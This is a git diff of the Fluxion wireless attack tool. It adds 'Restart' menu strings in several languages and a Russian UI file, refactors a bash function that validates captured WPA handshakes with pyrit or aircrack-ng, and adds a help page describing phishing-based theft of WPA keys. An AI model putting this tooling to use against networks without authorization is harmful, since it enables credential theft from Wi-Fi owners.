FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommandé$CClr)"
|
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommandé$CClr)"
|
||||||
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Connexion plus lente$CClr)"
|
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Connexion plus lente$CClr)"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashSourceQuery="Sélectionnez une méthode de récupération de handshake"
|
FLUXIONHashSourceQuery="Sélectionnez une méthode de récupération de handshake"
|
||||||
FLUXIONHashSourcePathOption="Chemin du fichier capturé"
|
FLUXIONHashSourcePathOption="Chemin du fichier capturé"
|
||||||
|
|
|
@ -53,6 +53,7 @@ FLUXIONUseFoundHashQuery="Vuoi usare questo file?"
|
||||||
FLUXIONHashVerificationMethodQuery="Seleziona il metodo di verifica dell'hash"
|
FLUXIONHashVerificationMethodQuery="Seleziona il metodo di verifica dell'hash"
|
||||||
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}raccomandato$CClr)"
|
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}raccomandato$CClr)"
|
||||||
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}inaffidabile$CClr)"
|
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}inaffidabile$CClr)"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONAttackQuery="Seleziona la tua scelta"
|
FLUXIONAttackQuery="Seleziona la tua scelta"
|
||||||
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attacco in corso..."
|
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attacco in corso..."
|
||||||
|
|
|
@ -31,6 +31,7 @@ FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||||
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
|
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
|
||||||
FLUXIONPathToHandshakeFileQuery="Podaj ścieżkę dostępu do pliku handshake $CClr(Example: /.../dump-01.cap)"
|
FLUXIONPathToHandshakeFileQuery="Podaj ścieżkę dostępu do pliku handshake $CClr(Example: /.../dump-01.cap)"
|
||||||
FLUXIONAbsolutePathInfo="Absolute path"
|
FLUXIONAbsolutePathInfo="Absolute path"
|
||||||
|
FluxionRestartOption="Restart"s
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerChannelQuery="Wybierz kanał do monitorowania"
|
FLUXIONScannerChannelQuery="Wybierz kanał do monitorowania"
|
||||||
FLUXIONScannerChannelOptionAll="Wszystkie kanały"
|
FLUXIONScannerChannelOptionAll="Wszystkie kanały"
|
||||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
||||||
FLUXIONPreparingScannerResultsNotice="Sintetizando os resultados da varredura, aguarde..."
|
FLUXIONPreparingScannerResultsNotice="Sintetizando os resultados da varredura, aguarde..."
|
||||||
FLUXIONScannerFailedNotice="Wireless card não suportado (sem APs encontrados)"
|
FLUXIONScannerFailedNotice="Wireless card não suportado (sem APs encontrados)"
|
||||||
FLUXIONScannerDetectedNothingNotice="Sem APs encontrados, retornando..."
|
FLUXIONScannerDetectedNothingNotice="Sem APs encontrados, retornando..."
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashFileDoesNotExistError="Arquivo hash não existe!"
|
FLUXIONHashFileDoesNotExistError="Arquivo hash não existe!"
|
||||||
FLUXIONHashInvalidError="${CRed}Error$CClr, arquivo hash inválido!"
|
FLUXIONHashInvalidError="${CRed}Error$CClr, arquivo hash inválido!"
|
||||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
||||||
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
||||||
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
||||||
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
||||||
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||||
|
|
|
@ -0,0 +1,97 @@
|
||||||
|
#!/bin/bash
|
||||||
|
# Russian
|
||||||
|
# native: Русский
|
||||||
|
|
||||||
|
FLUXIONInterfaceQuery="Выберите беспроводной интерфейс"
|
||||||
|
FLUXIONAllocatingInterfaceNotice="Выделение зарезервированного интерфейса $CGrn\"\$interfaceIdentifier\"."
|
||||||
|
FLUXIONDeallocatingInterfaceNotice="Перераспределение зарезервированного интерфейса $CGrn\"\$interfaceIdentifier\"."
|
||||||
|
FLUXIONReidentifyingInterface="Переименование интерфейса."
|
||||||
|
FLUXIONUnblockingWINotice="Разблокирование всех беспроводных интерфейсов."
|
||||||
|
|
||||||
|
FLUXIONTargetTrackerInterfaceQuery="Выберите интерфейс для отслеживания целей."
|
||||||
|
|
||||||
|
#FLUXIONFindingExtraWINotice="Поиск посторонних беспроводных интерфейсов..."
|
||||||
|
FLUXIONRemovingExtraWINotice="Удаление посторонних беспроводных интерфейсов..."
|
||||||
|
FLUXIONFindingWINotice="Поиск доступных беспроводных интерфейсов..."
|
||||||
|
FLUXIONSelectedBusyWIError="Выбранный беспроводной интерфейс, по-видимому, используется в настоящее время!"
|
||||||
|
FLUXIONSelectedBusyWITip="Обычно это вызвано сетевым менеджером (network manager), использующим выбранный интерфейс. Рекомендуется$CGrn правильно остановить сетевой менеджер $CClr или настроить его на игнорирование выбранного интерфейса. В качестве альтернативы выполняйте \"export FLUXIONWIKillProcesses=1\" перед запуском fluxion, чтобы выгрузить сетевой менеджер, но рекомендуется$CRed избегать использование этого флага${CClr}."
|
||||||
|
FLUXIONGatheringWIInfoNotice="Сбор информации об интерфейсе..."
|
||||||
|
FLUXIONUnknownWIDriverError="Не удалось определить драйвер интерфейса!"
|
||||||
|
FLUXIONUnloadingWIDriverNotice="Ожидание выгрузки интерфейса \"\$interface\"..."
|
||||||
|
FLUXIONLoadingWIDriverNotice="Ожидание поднятия интерфейса \"\$interface\"..."
|
||||||
|
FLUXIONFindingConflictingProcessesNotice="Поиск конфликтующих служб..."
|
||||||
|
FLUXIONKillingConflictingProcessesNotice="Остановка конфликтующих служб..."
|
||||||
|
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Невозможно определить физическое устройство интерфейса!"
|
||||||
|
FLUXIONStartingWIMonitorNotice="Запуск интерфейса монитора..."
|
||||||
|
FLUXIONInterfaceAllocatedNotice="${CGrn}Успешное распределение интерфейса!"
|
||||||
|
FLUXIONInterfaceAllocationFailedError="${CRed}Не удалось выполнить резервирование интерфейса!"
|
||||||
|
|
||||||
|
|
||||||
|
FLUXIONIncompleteTargettingInfoNotice="Отсутствует информация об essid, bssid или канале!"
|
||||||
|
|
||||||
|
FLUXIONTargettingAccessPointAboveNotice="Fluxion нацелен на вышеприведённую точку доступа."
|
||||||
|
|
||||||
|
FLUXIONContinueWithTargetQuery="Продолжить с этой целью?"
|
||||||
|
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
FLUXIONStartingScannerNotice="Запуск сканера, пожалуйста, подождите..."
|
||||||
|
FLUXIONStartingScannerTip="Через пять секунд после появления целевой точки ТД закройте сканер FLUXION."
|
||||||
|
FLUXIONPreparingScannerResultsNotice="Подготовка результатов сканирования, пожалуйста, ожидайте..."
|
||||||
|
FLUXIONScannerFailedNotice="Возможно, беспроводная карта не поддерживается (точки доступа не найдены)"
|
||||||
|
FLUXIONScannerDetectedNothingNotice="Точки доступа не обнаружены, возвращаемся назад..."
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
FLUXIONHashFileDoesNotExistError="Хэш-файл (файл с рукопожатием) не существует!"
|
||||||
|
FLUXIONHashInvalidError="${CRed}Ошибка$CClr, неверный файл рукопожатия!"
|
||||||
|
FLUXIONHashValidNotice="${CGrn}Успех$CClr, верификация рукопожатия прошла успешно!"
|
||||||
|
FLUXIONPathToHandshakeFileQuery="Введите путь до файла рукопожатия $CClr(Пример: /путь/до/file.cap)"
|
||||||
|
FLUXIONPathToHandshakeFileReturnTip="Чтобы вернуться назад, оставьте путь до файла рукопожатия пустым."
|
||||||
|
FLUXIONAbsolutePathInfo="Абсолютный путь"
|
||||||
|
FLUXIONEmptyOrNonExistentHashError="${CRed}Ошибка$CClr, введённый путь указывает на несуществующий или пустой файл рукопожатия."
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
FLUXIONScannerChannelQuery="Выберите канал для мониторинга"
|
||||||
|
FLUXIONScannerChannelOptionAll="Все каналы"
|
||||||
|
FLUXIONScannerChannelOptionSpecific="Конкретный канал (каналы)"
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
FLUXIONScannerChannelSingleTip="Один канал"
|
||||||
|
FLUXIONScannerChannelMiltipleTip="Несколько каналов"
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
FLUXIONScannerHeader="Сканер FLUXION"
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
FLUXIONHashSourceQuery="Выберите способ получения рукопожатия"
|
||||||
|
FLUXIONHashSourcePathOption="Путь к файлу захвата"
|
||||||
|
FLUXIONHashSourceRescanOption="Повторное сканирование директории рукопожатия"
|
||||||
|
FLUXIONFoundHashNotice="Был найден хэш (рукопожатие) для целевой точки доступа."
|
||||||
|
FLUXIONUseFoundHashQuery="Вы хотите использовать этот файл?"
|
||||||
|
FLUXIONUseFoundHashOption="Использовать найденное рукопожатие"
|
||||||
|
FLUXIONSpecifyHashPathOption="Укажите путь к рукопожатию"
|
||||||
|
FLUXIONHashVerificationMethodQuery="Выберите метод проверки рукопожатия"
|
||||||
|
FLUXIONHashVerificationMethodPyritOption="проверка с помощью pyrit (${CGrn}рекомендуется$CClr)"
|
||||||
|
FLUXIONHashVerificationMethodAircrackOption="проверка с помощью aircrack-ng (${CYel}ненадёжная$CClr)"
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
FLUXIONAttackQuery="Выбор беспроводной атаки для точки доступа"
|
||||||
|
FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr идёт атака..."
|
||||||
|
FLUXIONSelectAnotherAttackOption="Выбор другой атаки"
|
||||||
|
FluxionRestartOption="Перезапуск"
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
FLUXIONGeneralSkipOption="${CYel}Пропустить"
|
||||||
|
FLUXIONGeneralBackOption="${CRed}Назад"
|
||||||
|
FLUXIONGeneralExitOption="${CRed}Выход"
|
||||||
|
FLUXIONGeneralRepeatOption="${CRed}Повторить"
|
||||||
|
FLUXIONGeneralNotFoundError="Не найдено"
|
||||||
|
FLUXIONGeneralXTermFailureError="${CRed}Не удалось запустить xterm (возможно неправильная настройка, безголовая машина)."
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
FLUXIONCleanupAndClosingNotice="Очистка и закрытие"
|
||||||
|
FLUXIONKillingProcessNotice="Закрытие ${CGry}\$targetID$CClr"
|
||||||
|
FLUXIONRestoringPackageManagerNotice="Восстановление ${CCyn}\$PackageManagerCLT$CClr"
|
||||||
|
FLUXIONDisablingMonitorNotice="Отключение режима монитора"
|
||||||
|
FLUXIONDisablingExtraInterfacesNotice="Отключение дополнительный интерфейсов"
|
||||||
|
FLUXIONDisablingPacketForwardingNotice="Отключение ${CGry}форвардинга (переадресации) пакетов"
|
||||||
|
FLUXIONDisablingCleaningIPTablesNotice="Очистка ${CGry}iptables"
|
||||||
|
FLUXIONRestoringTputNotice="Восстановление ${CGry}tput"
|
||||||
|
FLUXIONDeletingFilesNotice="Удаление ${CGry}файлов"
|
||||||
|
FLUXIONRestartingNetworkManagerNotice="Восстановление ${CGry}Network-Manager"
|
||||||
|
FLUXIONCleanupSuccessNotice="Очистка выполнена успешно!"
|
||||||
|
FLUXIONThanksSupportersNotice="Спасибо что пользуетесь FLUXION"
|
||||||
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
|
||||||
|
# FLUXSCRIPT END
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Päť sekúnd po objavení sa cieľového AP, zavrite
|
||||||
FLUXIONPreparingScannerResultsNotice="Výsledky scanu sa pripravujú, čakajte..."
|
FLUXIONPreparingScannerResultsNotice="Výsledky scanu sa pripravujú, čakajte..."
|
||||||
FLUXIONScannerFailedNotice="Bezdrôtová sieťová karta nemusí byť podporovaná (nenašli sa žiadne AP)"
|
FLUXIONScannerFailedNotice="Bezdrôtová sieťová karta nemusí byť podporovaná (nenašli sa žiadne AP)"
|
||||||
FLUXIONScannerDetectedNothingNotice="Žiadne prístupové body neboli najdené, vraciam sa..."
|
FLUXIONScannerDetectedNothingNotice="Žiadne prístupové body neboli najdené, vraciam sa..."
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashFileDoesNotExistError="Súbor 'hash' neexistuje!"
|
FLUXIONHashFileDoesNotExistError="Súbor 'hash' neexistuje!"
|
||||||
FLUXIONHashInvalidError="${CRed}Error$CClr, nesprávny 'hash' súbor!"
|
FLUXIONHashInvalidError="${CRed}Error$CClr, nesprávny 'hash' súbor!"
|
||||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
||||||
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
||||||
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
||||||
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
||||||
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
||||||
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
|
||||||
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
|
||||||
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
|
||||||
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
|
||||||
|
|
|
@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
|
||||||
FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..."
|
FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..."
|
||||||
FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)"
|
FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)"
|
||||||
FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..."
|
FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..."
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONHashFileDoesNotExistError="Hash文件不存在!"
|
FLUXIONHashFileDoesNotExistError="Hash文件不存在!"
|
||||||
FLUXIONHashInvalidError="${CRed}错误$CClr, 无效的Hash文件!"
|
FLUXIONHashInvalidError="${CRed}错误$CClr, 无效的Hash文件!"
|
||||||
|
|
|
@ -6,46 +6,49 @@ readonly HashUtilsVersion="1.0"
|
||||||
HashOutputDevice="/dev/stdout"
|
HashOutputDevice="/dev/stdout"
|
||||||
|
|
||||||
function hash_check_handshake() {
|
function hash_check_handshake() {
|
||||||
local handshakeVerifier=$1
|
local -r handshakeVerifier=$1
|
||||||
local handshakePath=$2
|
local -r handshakePath=$2
|
||||||
local handshakeAPSSID=$3
|
local -r handshakeAPSSID=$3
|
||||||
local handshakeAPMAC=$4
|
local -r handshakeAPMAC=$4
|
||||||
|
|
||||||
local analysis
|
echo "Verifier Parameters: " > $HashOutputDevice
|
||||||
local hashData
|
echo " Verifier: $handshakeVerifier" > $HashOutputDevice
|
||||||
|
echo "Hash Path: $handshakePath" > $HashOutputDevice
|
||||||
|
echo "Hash SSID: \"$handshakeAPSSID\"" > $HashOutputDevice
|
||||||
|
echo " Hash MAC: $handshakeAPMAC" > $HashOutputDevice
|
||||||
|
|
||||||
echo "Verifier Parameters: $handshakeVerifier, path $handshakePath, SSID \"$handshakeAPSSID\", MAC $handshakeAPMAC" >$HashOutputDevice
|
local analysis # Since it's being used in all relevant instances.
|
||||||
|
|
||||||
case "$handshakeVerifier" in
|
case "$handshakeVerifier" in
|
||||||
"pyrit")
|
"pyrit")
|
||||||
readarray analysis < <(pyrit -r "$handshakePath" analyze 2>$HashOutputDevice)
|
readarray analysis < <(pyrit -r "$handshakePath" analyze 2> $HashOutputDevice)
|
||||||
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
||||||
echo "Error: pyrit seems to be broken!" >$HashOutputDevice
|
echo "Error: pyrit seems to be broken!" > $HashOutputDevice
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')")
|
||||||
|
|
||||||
|
if [ "$hashMeta" ]; then
|
||||||
|
local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}')
|
||||||
|
local hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_(SHA[0-9]+_AES|MD5_RC4)/{ print \$0 }")
|
||||||
|
else
|
||||||
|
echo "No valid hash meta was found for \"$handshakeAPSSID\"" > $HashOutputDevice
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
"aircrack-ng")
|
||||||
|
readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice)
|
||||||
|
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
||||||
|
echo "Error: aircrack-ng seems to be broken!" > $HashOutputDevice
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
local hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
echo "Invalid verifier, quitting!" > $HashOutputDevice
|
||||||
return 1
|
return 1
|
||||||
fi
|
;;
|
||||||
|
|
||||||
local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')")
|
|
||||||
|
|
||||||
if [ "$hashMeta" ]; then
|
|
||||||
local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}')
|
|
||||||
hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }")
|
|
||||||
else
|
|
||||||
echo "No valid hash meta was found for \"$handshakeAPSSID\"" >$HashOutputDevice
|
|
||||||
fi
|
|
||||||
;;
|
|
||||||
"aircrack-ng")
|
|
||||||
readarray analysis < <(aircrack-ng "$handshakePath" 2>$HashOutputDevice)
|
|
||||||
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
|
||||||
echo "Error: aircrack-ng seems to be broken!" >$HashOutputDevice
|
|
||||||
return 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
|
|
||||||
;;
|
|
||||||
*)
|
|
||||||
echo "Invalid verifier, quitting!"
|
|
||||||
return 1
|
|
||||||
;;
|
|
||||||
esac
|
esac
|
||||||
|
|
||||||
if [ -z "$hashData" ]; then
|
if [ -z "$hashData" ]; then
|
||||||
|
@ -53,18 +56,24 @@ function hash_check_handshake() {
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
local hashResult
|
|
||||||
case "$handshakeVerifier" in
|
case "$handshakeVerifier" in
|
||||||
"pyrit") hashResult=$(echo "$hashData" | grep "good") ;;
|
"pyrit")
|
||||||
"aircrack-ng") hashResult=$(echo "$hashData" | grep "(1 handshake)") ;;
|
if echo "$hashData" | grep -qF "good"; then
|
||||||
|
local -r hashResult=1
|
||||||
|
fi ;;
|
||||||
|
|
||||||
|
"aircrack-ng")
|
||||||
|
if echo "$hashData" | grep -qE "\([0-9]+ handshake\)"; then
|
||||||
|
local -r hashResult=1
|
||||||
|
fi ;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
if [ -z "$hashResult" ]; then
|
if [ -z "$hashResult" ]; then
|
||||||
echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!"
|
echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice
|
||||||
HASHCheckHandshake="invalid"
|
HASHCheckHandshake="invalid"
|
||||||
return 1
|
return 1
|
||||||
else
|
else
|
||||||
echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!"
|
echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice
|
||||||
HASHCheckHandshake="valid"
|
HASHCheckHandshake="valid"
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
|
@ -0,0 +1,96 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
function fluxion_help{
|
||||||
|
echo " FLUXION(1) User Manuals FLUXION(1)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
NAME
|
||||||
|
fluxion - Fluxion is a security auditing and social-engineering
|
||||||
|
research tool
|
||||||
|
|
||||||
|
SYNOPSIS
|
||||||
|
fluxion [-debug] [-l language ] attack ...
|
||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
fluxion is a security auditing and social-engineering research tool.
|
||||||
|
It is a remake of linset by vk496 with (hopefully) less bugs and more
|
||||||
|
functionality. The script attempts to retrieve the WPA/WPA2 key from a
|
||||||
|
target access point by means of a social engineering (phising) attack.
|
||||||
|
It's compatible with the latest release of Kali (rolling). Fluxion's
|
||||||
|
attacks' setup is mostly manual, but experimental auto-mode handles
|
||||||
|
some of the attacks' setup parameters.
|
||||||
|
|
||||||
|
OPTIONS
|
||||||
|
-v Print version number.
|
||||||
|
|
||||||
|
--help Print help page and exit with 0.
|
||||||
|
|
||||||
|
-m Run fluxion in manual mode instead of auto mode.
|
||||||
|
|
||||||
|
-k Kill wireless connection if it is connected.
|
||||||
|
|
||||||
|
-d Run fluxion in debug mode.
|
||||||
|
|
||||||
|
-x Try to run fluxion with xterm terminals instead of tmux.
|
||||||
|
|
||||||
|
-r Reload driver.
|
||||||
|
|
||||||
|
-l <language>
|
||||||
|
Define a certain language.
|
||||||
|
|
||||||
|
-e <essid>
|
||||||
|
Select the target network based on the ESSID.
|
||||||
|
|
||||||
|
-c <channel>
|
||||||
|
Indicate the channel(s) to listen to.
|
||||||
|
|
||||||
|
-a <attack>
|
||||||
|
Define a certain attack.
|
||||||
|
|
||||||
|
--ratio <ratio>
|
||||||
|
Define the windows size. Bigger ratio -> smaller window size.
|
||||||
|
Default is 4.
|
||||||
|
|
||||||
|
-b <bssid>
|
||||||
|
Select the target network based on the access point MAC address.
|
||||||
|
|
||||||
|
-j <jamming interface>
|
||||||
|
Define a certain jamming interface.
|
||||||
|
|
||||||
|
-a <access point interface>
|
||||||
|
Define a certain access point interface.
|
||||||
|
|
||||||
|
FILES
|
||||||
|
/tmp/fluxspace/
|
||||||
|
The system wide tmp directory.
|
||||||
|
$FLUXION/attacks/
|
||||||
|
Folder where handshakes and passwords are stored in.
|
||||||
|
|
||||||
|
ENVIRONMENT
|
||||||
|
FLUXIONAuto
|
||||||
|
Automatically run fluxion in auto mode if exported.
|
||||||
|
|
||||||
|
FLUXIONDebug
|
||||||
|
Automatically run fluxion in debug mode if exported.
|
||||||
|
|
||||||
|
FLUXIONWIKillProcesses
|
||||||
|
Automatically kill any interfering process(es).
|
||||||
|
|
||||||
|
DIAGNOSTICS
|
||||||
|
Please checkout the other log files or use the debug mode.
|
||||||
|
|
||||||
|
BUGS
|
||||||
|
Please report any bugs at: https://github.com/FluxionNetwork/flux-
|
||||||
|
ion/issues
|
||||||
|
|
||||||
|
AUTHOR
|
||||||
|
Cyberfee, l3op, dlinkproto, vk496, MPX4132
|
||||||
|
|
||||||
|
SEE ALSO
|
||||||
|
aircrack-ng(8),
|
||||||
